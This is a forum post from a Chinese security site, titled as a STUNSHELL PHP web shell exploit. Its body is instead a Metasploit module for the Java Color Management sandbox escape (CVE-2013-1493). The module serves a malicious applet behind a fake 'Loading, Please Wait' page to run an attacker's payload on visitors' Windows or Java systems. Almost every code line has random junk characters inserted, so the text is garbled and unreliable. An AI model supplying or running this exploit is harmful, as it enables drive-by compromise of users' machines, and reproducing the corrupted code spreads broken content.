找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2119|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##' T9 w4 R/ O! m( [% u2 }3 @( a

# t4 R6 d0 Q, D# This file is part of the Metasploit Framework and may be subject to
) [0 _" o1 h4 z( p+ Y- @7 g# redistribution and commercial restrictions. Please see the Metasploit
( D( m1 a+ ?) R9 Q# web site for more information on licensing and terms of use.
/ I& R4 W5 b& P3 z- u" Y. ?# http://metasploit.com/
1 u1 T0 Z* B. S; H) T) p7 N##
: {) [- @) [4 d; Vrequire ‘msf/core’; G2 ?. ~* L3 F+ y6 v( u9 x; c
require ‘rex’4 S& T! J: i6 h
class Metasploit3 < Msf::Exploit::Remote
' I3 b6 H% [; g1 d/ o" {  q2 G) Q; v+ SRank = NormalRanking
* G6 ]+ u( ]: Hinclude Msf::Exploit::Remote::HttpServer::HTML
" S- c6 O9 ?9 O& g3 g7 cinclude Msf::Exploit::EXE
7 w2 R, o2 H3 P6 e6 Uinclude Msf::Exploit::Remote::BrowserAutopwn- r; ~4 t; |6 j" z$ S- |; y
autopwn_info({ :javascript => false })
8 w  t2 D8 H3 N3 U4 D1 qdef initialize( info = {} )
! z8 c: U8 Q0 j) Tsuper( update_info( info,4 Z; q1 L9 \; b! D# f1 l
‘Name’ => ‘Java CMM Remote Code Execution’,
6 o4 B% d8 t/ y: n‘Description’ => %q{+ W# n/ q0 d/ l4 ?1 E4 w+ I
This module abuses the Color Management classes from a Java Applet to run
" o% a6 Q( q4 Varbitrary Java code outside of the sandbox as exploited in the wild in February
; X  k3 L1 U: _+ K8 xand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u416 r8 K; E" r0 b; {& W& p
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
: U6 c5 H! W2 ?) ]9 I6 N# E# Qsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
5 w* V2 C! t. q- p! K  m4 ?warning in order to run the malicious applet.
% ^6 c# J: S0 n},
7 U* ^0 t. a' O2 i) B‘License’ => MSF_LICENSE,
' b) u0 z/ y9 M( K‘Author’ =>9 p. h5 H5 r1 r; t* b2 i" n3 A! V
'Unknown', # Vulnerability discovery and Exploit
9 [% V& `/ ]" o1 @9 g$ u'juan vazquez' # Metasploit module (just ported the published exploit)
3 r- S* a" ?, f$ x* M3 B],
5 E, k# a+ m& m: b1 V‘References’ =>" }% k! `0 i" d# ~# V1 `3 ]
[. a. q& d8 }: E. h5 R
[ 'CVE', '2013-1493' ],
% `) f- J! m5 p% Q$ Z[ 'OSVDB', '90737' ],/ o: {, f9 e- O5 k1 R
[ 'BID', '58238' ],% ^6 [2 I) f5 q% i; O' Q5 J
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
1 k" X) l+ R# _, n6 }[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
2 t. K9 T; q$ I: m& I3 u[ 'URL', 'http://pastie.org/pastes/6581034' ]' y( g8 g4 n6 H7 c7 j/ `
],
/ G: A( g& ]  _, X‘Platform’ => [ 'win', 'java' ],
' q* u- Y# p1 r: m‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },/ O. t0 I: k/ w: P8 B% B8 u
‘Targets’ =>; [( \( q( J+ \3 Y; W/ e8 D
[" U8 @8 P, h/ n( b# i5 w/ I- j
[ 'Generic (Java Payload)',
4 ?- x" N* Z( c4 g/ m6 E, O{
' E; E! U: k) U; [5 }'Platform' => 'java',6 ~1 \% v7 h# u& a+ M/ l5 c
'Arch' => ARCH_JAVA
9 O$ L, P4 Q% j: j$ W}8 z' U4 E9 m2 \
],
$ ?, a. M+ H7 f: \: p5 c+ M[ 'Windows x86 (Native Payload)',
5 C+ V( M9 a7 F$ i: V& o{' G8 n! G2 i% s' h/ k
'Platform' => 'win',
) w, q+ a) X9 Y2 u) u3 v% K/ ['Arch' => ARCH_X86* ~( R) x. |2 |) w
}$ f8 w4 \; l4 V/ l4 ~* Y) y' E
]
) o# ]* ~( C- T8 w],
( _- n! A, J: J& u' o5 p6 j# y‘‘DisclosureDate’ => ‘Mar 01 2013′6 F: c. x3 r* U0 i; _1 P* N& |" S
))+ \- H; }  ?8 L* m# E
end. W  I$ ~( X( I8 F
def setup
, B" x/ l' {8 G  |path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”): N8 a4 n. P& e5 x! G7 X
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }1 V, i/ Y% G& v+ r; `9 \
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”); j6 [. {/ w" p6 d7 j2 S! K" C
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
$ w, y) i' d/ Q# P7 tpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)+ x) ]/ O& ?: h& J) s# r  ?
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, R# L- t' d4 k0 @+ T. z, Ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
! V( c% Q4 h* m6 L% m2 l@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 W+ k* ]- K3 S& f
@init_class_name = rand_text_alpha(“Init”.length)
8 p3 S! y$ q, \@init_class.gsub!(“Init”, @init_class_name)
' c& O- e! d  F' ~6 i% Y& Vsuper( X% q! g; E3 x4 m: E+ ~5 ^
end( }- H; H9 m5 Y6 M! U' e
def on_request_uri(cli, request)
$ c7 R0 S5 Y1 U, J" O) T9 nprint_status(“handling request for #{request.uri}”)$ ~# m' R& W  x# @
case request.uri; ]: w' B, t+ F9 A% P1 T
when /\.jar$/i2 A6 a' Y3 m7 E" Y& P7 j
jar = payload.encoded_jar$ M- b& r  \% o
jar.add_file(“#{@init_class_name}.class”, @init_class)0 g% ~( A6 H8 V7 Q5 g
jar.add_file(“Leak.class”, @leak_class)
; I* L3 k! ~, djar.add_file(“MyBufferedImage.class”, @buffered_image_class)
+ M3 B* u" ~$ n9 `: f; f  ~jar.add_file(“MyColorSpace.class”, @color_space_class)2 T+ C+ R; V2 ~: V+ n% J) }
DefaultTarget’ => 1,' a% K5 C  z' ~$ y
metasploit_str = rand_text_alpha(“metasploit”.length)
0 e0 D' ]) E! a" \. E9 C* ]payload_str = rand_text_alpha(“payload”.length)$ f2 g9 Z, T3 y5 L9 y2 q
jar.entries.each { |entry|
$ V+ P* M) x: gentry.name.gsub!(“metasploit”, metasploit_str)  S! m# s% G4 ]: e
entry.name.gsub!(“Payload”, payload_str)! K; ^5 g2 P$ ^
entry.data = entry.data.gsub(“metasploit”, metasploit_str)9 d. o+ x, t6 ~* i
entry.data = entry.data.gsub(“Payload”, payload_str)
; i, I7 X( g0 L2 [8 j}$ ^5 @/ t) |  k2 `- }5 u  K4 F
jar.build_manifest
; h* {, X) W/ o# d+ g, lsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
( _! h7 j: y, i0 h! Mwhen /\/$/; e  [+ U% E) t
payload = regenerate_payload(cli)
2 f: C; u3 p, b7 c# yif not payload* q2 H6 Q6 S+ L8 Y6 K! W
print_error(“Failed to generate the payload.”)
# s, ]) N4 ]8 ^9 N5 o: E% ]! W( }send_not_found(cli)
" [& p1 e6 [- {" L' v) `( y# c* `) Oreturn
- M3 b7 M0 K& ?% eend: y  Z: D" V" o
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
& m# B; b& D7 F; A" i2 {else! R5 O) `7 R. B( H) c7 F# @
send_redirect(cli, get_resource() + ‘/’, ”)  {+ m6 k/ J4 m( k
end6 q/ {& K0 K; g$ @
end
9 h2 h( a( k  Adef generate_html
, D8 {- R" ]+ U1 xhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|9 R% x* U4 i. S+ ]% g
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|3 u0 E4 y, X4 s( m
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
/ @0 p* ?7 [. ~( ~html += %Q|</applet></body></html>|& ^" ]% G5 C' V5 T0 r+ M5 e
return html& ]/ _3 P# z4 K6 p8 N
end  ]6 R6 s/ |$ z3 V* K5 H* b
end
5 I5 J7 d' \- Y% D- G9 Q0 Send
/ {: E! k. f" ^% s0 o. K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表